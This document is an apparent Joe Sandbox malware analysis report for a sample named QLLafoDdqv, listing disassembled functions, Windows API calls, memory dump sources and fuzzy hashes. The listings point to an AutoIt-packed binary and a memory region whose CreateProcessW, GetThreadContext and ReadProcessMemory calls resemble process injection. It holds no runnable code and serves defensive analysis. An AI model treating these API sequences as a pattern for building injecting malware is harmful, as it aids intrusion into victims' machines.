CreateProcessW.KERNELBASE(?,00000000), ref: 015C1A5B
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 015C1AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 015C1B13

Memory Dump Source

Source File: 00000000.00000002.2127882402.00000000015C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15c0000_QLLafoDdqv.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 6e999cef06aac06fcde311c2673bbf8567a4d88a660ea8880241fb15dada5407
Instruction ID: 46ac78179c7dd6424199e40c8f378067642917b5b93fdca2f90491272fcde3dd
Opcode Fuzzy Hash: 6e999cef06aac06fcde311c2673bbf8567a4d88a660ea8880241fb15dada5407
Instruction Fuzzy Hash: 05620930A14618DBEB24DFA4C880BDEB772FF58700F1095A9D10DEB291E7799E81CB59

Function 006D3923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 007133A2

Part of subcall function 006D6B57: _wcslen.LIBCMT ref: 006D6B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 006D3A04

Strings

Line: , xrefs: 007133EB

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 22f38ca05b49689f4b5831bfc65b7514d809a8680b9cb5b6447212e6e844c1f2
Instruction ID: 0354fac024e60cba6414f79df7e83547fb0b576bcdba87e76b01c74a7e09d29a
Opcode Fuzzy Hash: 22f38ca05b49689f4b5831bfc65b7514d809a8680b9cb5b6447212e6e844c1f2
Instruction Fuzzy Hash: 6531E171908324AED761EF20DC45BEBB7D9AB81710F00492FF59982391EB749A48C7DB

Function 006D2DE3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00712C8C

Part of subcall function 006D3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,006D3A97,?,?,006D2E7F,?,?,?,00000000), ref: 006D3AC2

Part of subcall function 006D2DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 006D2DC4

Strings

`ey, xrefs: 00712C85
X, xrefs: 00712C5A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X$`ey
API String ID: 779396738-2559956516
Opcode ID: e94d857ff92967d5dc60788d4c5aeac331d5f787aa5bd4110fd4c6f216114c4d
Instruction ID: f3acd069783520a3427f4d5b7f73361928434ce1b4181c12e51c1640b2e94f7e
Opcode Fuzzy Hash: e94d857ff92967d5dc60788d4c5aeac331d5f787aa5bd4110fd4c6f216114c4d
Instruction Fuzzy Hash: 8F21D571E002989FCF41EF94D805BEE7BFDAF49304F00805AE505A7381DBB85A898FA5

Function 006EFDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 006F0668

Part of subcall function 006F32A4: RaiseException.KERNEL32(?,?,?,006F068A,?,007A1444,?,?,?,?,?,?,006F068A,006D1129,00798738,006D1129), ref: 006F3304

__CxxThrowException@8.LIBVCRUNTIME ref: 006F0685

Strings

Unknown exception, xrefs: 006F0692

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: 04cd2d4aece033e5f30fe1706565f04eb0b4b2fff5dc98304b1211b91dd42301
Instruction ID: b9d73844da9c657c03d5d666fbaf22f2a80c3876ad2761b0dae18602de265253
Opcode Fuzzy Hash: 04cd2d4aece033e5f30fe1706565f04eb0b4b2fff5dc98304b1211b91dd42301
Instruction Fuzzy Hash: 81F0AF2490030D678F40BBA5EC46CBE7B6E5E40350B604139BA14D6697EF71EA268685

Function 00743017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 0074302F
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00743044

Strings

aut, xrefs: 00743038

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 12435f73c79b8c93f44dd01208a040813a5f9e4d8c42e0d4135ebda64f38900d
Instruction ID: c0ca576805dbb845f597cac923ba711d507ade49646d5fa07fe5abf165e31afc
Opcode Fuzzy Hash: 12435f73c79b8c93f44dd01208a040813a5f9e4d8c42e0d4135ebda64f38900d
Instruction Fuzzy Hash: B9D05B715003146BDA209794EC0DFD73A6CD704750F004251BA96D6091DAF89544CAD4

Function 00757F59 Relevance: 4.9, APIs: 3, Instructions: 430COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 007582F5
TerminateProcess.KERNEL32(00000000), ref: 007582FC
FreeLibrary.KERNEL32(?,?,?,?), ref: 007584DD

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Process$CurrentFreeLibraryTerminate
String ID:
API String ID: 146820519-0
Opcode ID: 24c73e08cb2023b97aac20ce09ac73ba743f85452ce88929c1b519645db0b259
Instruction ID: 492b68a35eb308cde17d29ef77a5c1290b98a34d2730457b71771603d70e04b6
Opcode Fuzzy Hash: 24c73e08cb2023b97aac20ce09ac73ba743f85452ce88929c1b519645db0b259
Instruction Fuzzy Hash: 75128971A08341CFC754DF28C484B6ABBE1BF88315F04895DE8999B392DB74ED49CB92

Function 006D10F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 006D1BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 006D1BF4
Part of subcall function 006D1BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 006D1BFC
Part of subcall function 006D1BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 006D1C07
Part of subcall function 006D1BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 006D1C12
Part of subcall function 006D1BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 006D1C1A
Part of subcall function 006D1BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 006D1C22

Part of subcall function 006D1B4A: RegisterWindowMessageW.USER32(00000004,?,006D12C4), ref: 006D1BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 006D136A
OleInitialize.OLE32 ref: 006D1388
CloseHandle.KERNEL32(00000000,00000000), ref: 007124AB

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 0bcfe639f88879c6f69d3b224a70e40c5c3f1fd45fd58c7fb386079a14c7a82a
Instruction ID: 9f17bce51822351b02d89f9c5d9e550283cde2b9cd763b378b77b8fce3830cc7
Opcode Fuzzy Hash: 0bcfe639f88879c6f69d3b224a70e40c5c3f1fd45fd58c7fb386079a14c7a82a
Instruction Fuzzy Hash: 0771ADB8D053508EE388DF79A8556653AE1BBCB394B84C22ED41ACB361EB3C4450CF4D

Function 007086AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,?,?,007085CC,?,00798CC8,0000000C), ref: 00708704
GetLastError.KERNEL32(?,007085CC,?,00798CC8,0000000C), ref: 0070870E
__dosmaperr.LIBCMT ref: 00708739

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification__dosmaperr
String ID:
API String ID: 490808831-0
Opcode ID: 1f3ace2534ec1a84c40c088d125207bb0b5266ea70c8fa8b1b060441bec4b30f
Instruction ID: 692483a3ab54d14df2aed2cacb12682a3488c419d939deebaf568e5245d38394
Opcode Fuzzy Hash: 1f3ace2534ec1a84c40c088d125207bb0b5266ea70c8fa8b1b060441bec4b30f
Instruction Fuzzy Hash: 6E018232604220D6C6A06374984977F6BC54B92778F3A0319F8449B1D3DEAECC818696

Function 00742FD8 Relevance: 4.5, APIs: 3, Instructions: 27filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,00742CD4,?,?,?,00000004,00000001), ref: 00742FF2
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00742CD4,?,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00743006
CloseHandle.KERNEL32(00000000,?,00742CD4,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 0074300D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 4df2f300734c34f3ecb1ca41f86b93a254bf06f43d938499bfbbbc7d656619c2
Instruction ID: dd4e283d859ded6fdf0dd26c028b53e92d08271436bc54c910d74d90e3d2b355
Opcode Fuzzy Hash: 4df2f300734c34f3ecb1ca41f86b93a254bf06f43d938499bfbbbc7d656619c2
Instruction Fuzzy Hash: BCE0863228031477D6352756BC0DF9B3A5CD786B71F118210F7AA751D086E5250142AC

Function 006E1310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 006E17F6

Strings

CALL, xrefs: 006E17C6

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: eee7d7533a28968890ee83adcecab7fbe589680f0c135e2555e7e31d0d684d51
Instruction ID: f6da508861ad4953d508e1535e926df3e83e9875443ea41a12b65b0f5a42479b
Opcode Fuzzy Hash: eee7d7533a28968890ee83adcecab7fbe589680f0c135e2555e7e31d0d684d51
Instruction Fuzzy Hash: AE22BEB0609381DFC714DF15C480A2ABBF2BF86314F24895EF4968B3A2D735E955DB82

Function 00746EF1 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 297COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00746F6B

Part of subcall function 006D4ECB: LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4EFD

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00746F5A, 00746F63

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: LibraryLoad_wcslen
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 3312870042-2806939583
Opcode ID: 6a1e7189b1a9f4296f1e9270f09763060aed262772cde34d576fae3515eb885b
Instruction ID: ba556efb17790d468b4679f8ad39c5c8b89a74873f183d39f8a95131d7afef9c
Opcode Fuzzy Hash: 6a1e7189b1a9f4296f1e9270f09763060aed262772cde34d576fae3515eb885b
Instruction Fuzzy Hash: C9B181315082018FCB58EF24D49196EB7E6BF94310F04895EF896973A2EF34ED49CB96

Function 00742557 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00742587

Strings

EA06, xrefs: 007425B9

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: __fread_nolock
String ID: EA06
API String ID: 2638373210-3962188686
Opcode ID: 2aaa211946ca004be0fbfac83bf44f52a32881ab08cbab255393847560222f4a
Instruction ID: 23abeb72c3a8032d126283f335a7ac7ed2691ffe952cb8db910ec02898426db4
Opcode Fuzzy Hash: 2aaa211946ca004be0fbfac83bf44f52a32881ab08cbab255393847560222f4a
Instruction Fuzzy Hash: 9F01B5729042587EDF58D7A8CC56EBEBBF8DB05305F00459EF252D21C2E5B9E7188B60

Function 006D3837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 006D3908

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: adb28ec2223352f5104074ac1a07ba821361ee7aaaf62b0607d5f67549f1b09c
Instruction ID: 79c42ccf176c1bb4e22486b7fba26b862c6b782aefb7d067f0c048c44b7b10dd
Opcode Fuzzy Hash: adb28ec2223352f5104074ac1a07ba821361ee7aaaf62b0607d5f67549f1b09c
Instruction Fuzzy Hash: 29317F709043119FE761DF24D885797BBE8FB49708F00092EF59A97380E7B5AA44CB56

Function 015C129D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 015C1A5B
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 015C1AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 015C1B13

Memory Dump Source

Source File: 00000000.00000002.2127882402.00000000015C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15c0000_QLLafoDdqv.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
Instruction ID: 290e586d83c023560375128fe4b0b6ad46a6e6a3487f0249fb8dfae510fcf06d
Opcode Fuzzy Hash: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
Instruction Fuzzy Hash: 3E12DC24A24658C6EB24DF64D8507DEB232FF68700F1090E9910DEB7A5E77A4E81CF5A

Function 006D4ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 006D4E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,006D4EDD,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4E9C
Part of subcall function 006D4E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 006D4EAE
Part of subcall function 006D4E90: FreeLibrary.KERNEL32(00000000,?,?,006D4EDD,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4EC0

LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4EFD

Part of subcall function 006D4E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00713CDE,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4E62
Part of subcall function 006D4E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 006D4E74
Part of subcall function 006D4E59: FreeLibrary.KERNEL32(00000000,?,?,00713CDE,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4E87

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 3384d938227856286177b584c6346504aad8db13baf462737e5054dba906d9d4
Instruction ID: 3769fc95d8d3bfc9fa5135d166221eefd0471c2d829a7552919076a1cec7f099
Opcode Fuzzy Hash: 3384d938227856286177b584c6346504aad8db13baf462737e5054dba906d9d4
Instruction Fuzzy Hash: C511E332A10205ABCB14AF64DC06FAD77A6AF80710F10842FF542A62E1EE759E4597A8

Function 00708402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00708440

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 8f691da837c2b9d5e3b2184535bbfddf57517aa4d00098b90e1ff1029d6efb54
Instruction ID: 9e74547d622ed3aa9fcfc4ab4b14abffb69a5afdee45ef2d717e5a564d98165f
Opcode Fuzzy Hash: 8f691da837c2b9d5e3b2184535bbfddf57517aa4d00098b90e1ff1029d6efb54
Instruction Fuzzy Hash: A911487190410AEFCB05DF58E9459DE7BF4EF48300F104159F808AB352DA30EA11CBA5

Function 00705000 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00704C7D: RtlAllocateHeap.NTDLL(00000008,006D1129,00000000,?,00702E29,00000001,00000364,?,?,?,006FF2DE,00703863,007A1444,?,006EFDF5,?), ref: 00704CBE

_free.LIBCMT ref: 0070506C

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction ID: 11cf934ffb77c74cd605304aa006e28a374b8a00ecd16baae9fbab7f5e5de82b
Opcode Fuzzy Hash: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction Fuzzy Hash: 13012672204704EBE3218E65D885A5BFBECFB89370F250B1DE184972C0EA34A805CAB4

Function 006FE602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: 01e240f1e917896abc80fe4516ec04b53bd0c628eb0e8dd1ba13734fee0edde0
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: 52F0F932510A1CD6C6313E698C09BBA37DA9F52335F100719F721D62E2DF75A40286AA

Function 00704C7D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,006D1129,00000000,?,00702E29,00000001,00000364,?,?,?,006FF2DE,00703863,007A1444,?,006EFDF5,?), ref: 00704CBE

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
